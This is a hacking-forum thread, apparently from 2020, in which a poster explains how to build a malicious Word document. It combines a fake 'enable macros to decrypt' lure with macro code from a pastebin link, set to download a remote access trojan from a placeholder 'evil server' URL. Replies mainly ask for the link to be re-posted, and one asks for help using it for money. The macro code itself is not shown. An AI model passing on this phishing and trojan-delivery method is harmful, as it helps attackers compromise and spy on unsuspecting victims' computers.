Thread: [Word document macro exploit \[for this skids tutorial #2\]](#)

Freak_OG - June 13, 2020, 2:57 pm

Okay guiz heres the requirements for todays second tutorial on how to be a sooper l33t h3ck0r

1. installed word via microsoft office
2. has brain

simply open word and make a simple document that says
Code Please click "enable macros" to decrypt this document.
and add a macro from the "view" tab by clicking macros.
then simply make a new macro u can name it anything.

next select all the code (we wont need it)
and paste this:
pastebin.com/nKt89jUf

simply replace [http://<YOUR EVIL SERVER>/RAT.exe](#) with... you know..

educational purposes only. this works to this day. enjoy ???

you need FUD rat to do this btw .

Freak_OG - June 17, 2020, 8:24 am

new pastebin link:

<https://pastebin.com/Me2XqkN6>

elephantx007 - September 21, 2020, 7:55 am

Yo .. pastebin link fucked up again. Can you please provide the macro again? thanks dude. sharing is caring

nCuX0 - September 22, 2020, 3:05 am

imagine some people have been selling this for years XD

l33tl0rd - September 25, 2020, 7:51 pm

macro, just some VBA codes.. yet people buy it for an exploit.
Thanks for the effort.

zoroark - September 26, 2020, 12:25 pm

Put back pastebin again bro

Monero-chan - September 28, 2020, 11:33 pm

can you re-upload the Pastebin link, it got taken down again, I would suggest uploading it to <https://bin.snopyta.org/> and setting the expiration date to never

KillaHink HF - October 11, 2020, 8:20 pm

can you help me setting this up for bit money?

Hey,

What if they disable macros?

elephantx007 - March 4, 2021, 3:50 pm

pastebin link is down again, can you please re-upload the code so we can build our own macros?
thank you

Stetsed - March 4, 2021, 10:33 pm

I would suggest just putting the code here?
